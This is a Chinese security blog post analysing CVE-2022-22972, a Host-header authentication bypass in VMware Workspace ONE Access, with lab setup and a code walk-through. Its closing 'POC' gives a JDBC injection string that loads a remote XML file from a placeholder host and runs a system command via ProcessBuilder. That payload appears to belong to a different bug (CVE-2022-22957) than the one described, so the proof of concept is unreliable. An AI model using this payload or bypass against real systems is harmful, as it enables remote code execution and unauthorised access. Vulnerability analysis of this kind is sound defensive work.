安全播报

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
CVE-2022-22972 VMware Workspace ONE Access 身份认证绕过漏洞分析
2022-06-21 13:49:48 【

漏洞描述

5 月 18 日,VMware 发布了一份公告 ( VMSA-2022-0014 ),以解决多个 VMware 产品中的两个漏洞,其中包括CVE-2022-22972,该漏洞在身份认证处理时存在一定缺陷。远程攻击者可通过伪造相关请求信息来绕过身份验证,从而获取相关应用程序的管理权限。


相关介绍

VMware是一家提供全球桌面到数据中心虚拟化解决方案的厂商,其推出的产品包括我们最熟悉的VMware Workstation,一款桌面虚拟计算软件。此次漏洞涉及的多个产品介绍如下:

VMware Workspace ONE Access 是 VMware 公司开发的一款智能驱动型数字化工作空间平台,通过 Workspace ONE Access 能够随时随地在任意设备上轻松、安全地交付和管理任意应用。VMware vRealize Automation 是自动化部署方案云管平台。VMware Cloud Foundation 是 VMware公司混合云平台。vRealize Suite Lifecycle Manager 是 vRealize Suite 生命周期和内容管理平台。


利用范围

  1. VMware Workspace ONE Access 21.08.0.1, 21.08.0.0,20.10.0.1, 20.10.0.0

  2. VMware Identity Manager(vIDM) 3.3.6, 3.3.5, 3.3.4, 3.3.3

  3. VMware vRealize Automation(vIDM) 7.6

  4. VMware Cloud Foundation (vIDM) 4.4, 4.3.x, 4.2.x, 4.1, 4.0.x

  5. VMware Cloud Foundation (vRA) 3.x

  6. vRealize Suite Lifecycle Manager(vIDM) 8.x


漏洞分析

简单回顾下CVE-2022-22954(VMware Workspace ONE Access SSTI漏洞),属于模板注入漏洞,恶意攻击者可以利用此漏洞在未经过身份验证的情况下进行远程任意代码执行;CVE-2022-22957(VMware Workspace ONE Access JDBC注入漏洞),由于相关参数完全可控,恶意攻击者可实行JDBC注入,通过写入任意文件等方式获取系统权限。此次的CVE-2022-22972,同样选择VMware Workspace ONE Access漏洞版本来进行分析,并详细记录环境搭建和漏洞分析复现过程。


环境搭建

先从官网(http://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1269)下载VMware Workspace ONE Access 21.08.0.1 OVA文件

使用VMware Workstation导入OVA文件,配置FQDN(主机名设置为随机域名,不然后续配置数据库时会报错)。

导入成功后会进行初始化,完成后出现如下信息。

访问http://<域名:8443>,根据提示进行账号和数据库配置。

访问http://<域名:8443>,根据提示进行账号和数据库配置。

为搭建动态调试环境,需将相关源码保存到本地,并使用IDEA开启远程调试。

需要的lib文件位于/usr/local/horizon/lib/embeddedauthadapters目录下。

IDEA配置远程调试。

将远程调试命令写入/opt/vmware/horizon/workspace/bin/setenv.sh。

重启服务之后,配置iptables防火墙,允许数据包通过INPUT链和OUTPUT链。

最后访问http://<域名>,到登陆页面,环境搭建成功。


动态分析

抓取登陆数据包,修改Host头为tessdadddd后进行重放。

回到vmware中,查看/opt/vmware/horizon/workspace/logs/horizon.log

在日志中发现,vm对任意输入的host头,发送了HTTP请求,并且因为无法解析而抛出异常。

同时,根据日志信息中整个认证的调用栈,我们将分析的开端定位在local-password-auth-adapter-0.1.jar中。

分析com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login函数。

在获取到账号密码等信息之后,通过getLocalUrl函数来提取参数endpoint。

跟进com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl函数。

在getLocalUrl函数中,会构造出一个新的http请求,其中的主机地址则是通过request.getServerName从HOST头中直接获取。因此这也为我们绕过认证伪造主机地址创造了条件。

继续跟进将回到com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login。

此时的endpoint即为新构造的http请求,主机名则为我们任意输入的tessdadddd。

后续,则会调用authenticate函数来完成认证。

在com.vmware.horizon.adapters.local.LocalPasswordService#authenticate中可以发现。

后续,则会调用authenticate函数来完成认证。

在com.vmware.horizon.adapters.local.LocalPasswordService#authenticate中可以发现。

通过之前的http请求,使用POST方式发送,后续会直接根据请求返回的状态码来判断是否认证成功,若状态码为200,即认证成功。因此可通过伪造HOST头和伪造http服务器并保证对任何请求返回状态200,即可实现认证绕过。


漏洞复现

伪造http服务器,满足对任意请求都返回200。

修改HOST为伪造的http服务器地址,成功绕过认证并获取有效cookie。

POC

jdbc:postgresql://xxx.xxx.com/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://xxx/exp.xml

exp.xml

<beans xmlns=”http://www.springframework.org/schema/beans” xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xsi:schemaLocation=”http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd”>
<bean id=”pb” class=”java.lang.ProcessBuilder” init-method=”start”>
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>whoami</value>
</list>
</constructor-arg>
</bean>
</beans>


】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇最新的 Windows Server 更新打破.. 下一篇黑客推广一种新的模块化恶意软件..

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800